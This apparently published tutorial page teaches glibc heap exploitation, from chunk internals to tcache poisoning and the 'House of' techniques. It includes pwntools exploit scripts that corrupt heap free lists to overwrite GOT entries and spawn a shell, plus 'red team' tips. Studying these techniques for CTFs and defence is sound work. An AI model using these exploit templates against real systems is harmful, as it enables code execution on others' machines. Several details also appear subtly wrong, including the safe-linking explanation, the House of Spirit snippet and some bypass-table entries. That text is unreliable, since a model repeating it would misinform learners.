Heap Exploitation Mastery

Heap Exploitation Mastery — Corrupting the Dynamic Memory Arena


Heap exploitation is where binary exploitation becomes art. Unlike stack overflows, heap vulnerabilities let you manipulate dynamic memory management — allowing arbitrary read/write primitives, structure overwrites, and eventually, full control of execution.

This section will arm you with everything from glibc heap internals to tcache poisoning and modern bypasses (safe-linking, ASLR, full RELRO).


I. 🧩 Core Heap Concepts

Concept
Description

Heap

Memory region for dynamic allocations (malloc, calloc, free).

Chunks

Memory blocks managed by the allocator.

Bins

Linked lists storing freed chunks (fastbins, smallbins, tcache).

Tcache

Thread-local cache introduced in glibc 2.26 for speed.

Metadata

Information stored before each chunk (size, flags).

Heap Corruption

Overwriting metadata or manipulating pointers to redirect control flow.


II. ⚙️ Anatomy of a Heap Chunk

[ prev_size ]   (only valid if previous chunk is free)
[ size ]        (chunk size + status bits)
[ user data ]   <-- your malloc() pointer points here
[ next chunk ]

Bits in size:

  • PREV_INUSE (0x1): whether previous chunk is free

  • IS_MMAPPED (0x2): mmap’ed chunk

  • NON_MAIN_ARENA (0x4): thread-specific heap


III. 🧩 Heap Bins Overview (glibc ≤ 2.32)

Bin Type
Purpose
Typical Attack

Fastbins

Small, quick allocations (< 0x80)

Fastbin Dup

Unsorted Bin

Holding recently freed large chunks

Leak libc addresses

Smallbins

Fixed-size freed chunks

Overlap attacks

Largebins

Big allocations (> 0x400)

Consolidation corruption

Tcache

Thread-local cache

Tcache poisoning


IV. 🧠 Essential Tools

sudo apt install gdb gdb-multiarch
pip install pwntools ropper
git clone https://github.com/longld/peda.git ~/.gdb/peda

Plugins

  • pwndbg / gef – visualize heap and bins in GDB

  • heap-viewer – graphical heap analysis


V. ⚙️ Common Heap Vulnerabilities

Vulnerability
Description

Use-After-Free (UAF)

Using memory after free().

Double Free

Freeing the same chunk twice.

Heap Overflow

Writing beyond allocated chunk boundary.

Uninitialized Read

Using uninitialized heap memory.

Arbitrary Free

Freeing attacker-controlled pointers.


VI. 💣 Use-After-Free (UAF)

🧩 Vulnerable Code

char *a = malloc(64);
free(a);
strcpy(a, "pwned!");

After free(a), chunk a is still accessible → leads to control over freed chunk’s metadata.

🧠 Exploitation

  1. Allocate → Free → Reallocate (same address reused)

  2. Overwrite function pointers, vtable, or GOT entries.


VII. ⚙️ Double Free Attack

💣 Vulnerable Code

char *a = malloc(64);
free(a);
free(a);

Heap linked lists become corrupted — attacker can insert arbitrary addresses into fastbins.

🧠 Exploit Strategy

  1. Free a chunk twice → it appears twice in the free list.

  2. Allocate twice → get two pointers to the same chunk.

  3. Overwrite a function pointer or return address in memory.


VIII. 🧩 Fastbin Duplication (Fastbin Dup)

⚙️ Exploit Outline

  1. Allocate two fastbin chunks A and B.

  2. Free both, then free A again → double-free.

  3. Overwrite the FD pointer of A → control the next malloc return.

  4. Allocate controlled data → overwrite target (e.g. GOT).


IX. 🧠 Unsorted Bin Attack

When freeing large chunks, they go to the unsorted bin and store pointers to main_arena. This allows libc address leaks.

Example:

x/gx 0x602020
0x602020: 0x00007ffff7dd1b78  # libc leak

X. 💣 Tcache Poisoning (glibc ≥ 2.26)

🧩 Concept

Tcache uses singly linked lists for freed chunks — easy to corrupt.

⚙️ Exploit

  1. Free a chunk → goes into tcache bin.

  2. Overwrite its next pointer with target address (e.g. GOT).

  3. Next malloc of same size → returns pointer to GOT.

  4. Overwrite GOT entry → arbitrary code execution.

Example Pwntools Script

from pwn import *
elf = ELF('./vuln')
p = process(elf.path)

# Step 1: Allocate and free
p.sendline(b'1'); p.sendline(b'64')
p.sendline(b'2')  # free()

# Step 2: Poison tcache
p.sendline(b'3')
p.sendline(p64(elf.got['free']))

# Step 3: Overwrite GOT entry
p.sendline(b'1'); p.sendline(b'64')
p.sendline(b'/bin/sh\x00')
p.sendline(b'1'); p.sendline(b'64')
p.sendline(p64(elf.symbols['system']))

Result → free("/bin/sh") becomes system("/bin/sh").


XI. 🧠 Safe-Linking Bypass (glibc ≥ 2.32)

Safe-linking XORs the tcache FD pointer with a per-thread secret (ASLR-based).

⚙️ Bypass

  1. Leak heap base address.

  2. XOR encode your target:

fd = target_addr ^ (heap_base >> 12)
  1. Write encoded value into FD pointer manually.


XII. ⚙️ Heap Overflow → Arbitrary Write

Heap overflows let you overwrite next chunk’s metadata.

Example:

Chunk A [64 bytes]
Chunk B [64 bytes]

Overflow from A into B → modify B’s size or FD pointer.

Goal: forge pointers → arbitrary write or malloc return control.


XIII. 🧩 House of Force

🧠 Concept

Manipulate the top chunk size to overlap future allocations with controlled memory.

malloc(0xffffffffffffffff)

Then allocate a chunk that overlaps the .bss or GOT.


XIV. ⚙️ House of Spirit

Fake chunk placed in global/static memory. Used for arbitrary free / arbitrary malloc control.

🧠 Example

char fake_chunk[0x80];
*(size_t*)(fake_chunk - 8) = 0x81;
free(fake_chunk);

Now heap believes your static buffer is a real freed chunk.


XV. 💀 House of Orange (Full Chain Example)

Used when:

  • malloc() triggers _int_malloc() → consolidations occur.

  • No free() calls are available.

Exploit Flow:

  1. Overflow top chunk.

  2. Overwrite its size field.

  3. Trigger malloc() to allocate overlapping chunk.

  4. Overwrite _IO_list_all → hijack vtable.

  5. Call system("/bin/sh").


XVI. 🧠 Heap Leaks & Libc Leak Techniques

🔹 Printf Leak

printf(ptr);

Leaking heap pointer → calculate heap base.

🔹 Unsorted Bin Leak

x/gx <unsorted_bin_addr>

Reveals libc address from main_arena pointer.

🔹 Global Max Fast Leak

By freeing controlled chunk into unsorted bin, you can leak main_arena.


XVII. ⚙️ Modern glibc Mitigation Bypasses

Mitigation
Introduced
Bypass

Safe-Linking

2.32

Heap leak + XOR decode

Tcache Double Free Check

2.29

Use different sizes

Heap Integrity Check

2.34

Custom allocator desync

ASLR + PIE

Always

Leak libc/heap base via UAF


XVIII. 🧩 Real-World Example: Tcache Poison + ROP

  1. Leak libc address.

  2. Poison tcache → GOT overwrite.

  3. Overwrite __free_hook with system.

  4. Trigger free("/bin/sh").

free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']
overwrite = free_hook ^ (heap_base >> 12)

XIX. ⚙️ Heap Exploit Template (Pwntools)

from pwn import *
elf = context.binary = ELF('./heap_vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process(elf.path)

def alloc(size, data=b'A'):
    p.sendline(b'1')
    p.sendline(str(size).encode())
    p.sendline(data)

def free(idx):
    p.sendline(b'2')
    p.sendline(str(idx).encode())

alloc(0x60, b'A'*8)
alloc(0x60, b'B'*8)
free(0)
free(1)
free(0)  # double free
alloc(0x60, p64(elf.got['free']))
alloc(0x60, b'/bin/sh\x00')
alloc(0x60, p64(libc.symbols['system']))
free(0)
p.interactive()

XX. ⚔️ Pro Tips & Red Team Tricks

Heap Layout Awareness Always diagram heap allocations before crafting payloads.

Heap Fast Leak Abuse unsorted bin pointers for libc base.

Heap Grooming Use specific malloc/free patterns to position chunks predictably.

Automation Use Pwntools scripts with dynamic heap base detection.

Cross-Arch Heap corruption on 64-bit systems often requires safe-link decoding.


XXI. 🧠 Practice Labs

Platform
Focus

HeapLAB

Visualized heap exploitation

pwnable.kr – heap, uaf

Basic/Intermediate heap challenges

pwnable.tw – tcache_tear

Advanced tcache exploitation

CTFtime

Live heap pwn practice

HackTheBox – Pandora, Poison

Real-world heap attacks


XXII. ⚙️ Quick Reference Table

Attack
glibc Version
Key Concept

Fastbin Dup

< 2.29

Double free

Unsorted Bin Leak

all

libc leak

Tcache Poison

≥ 2.26

GOT overwrite

Safe-Linking Bypass

≥ 2.32

XOR with heap base

House of Force

all

Top chunk control

House of Orange

2.23–2.27

vtable hijack


Last updated

Was this helpful?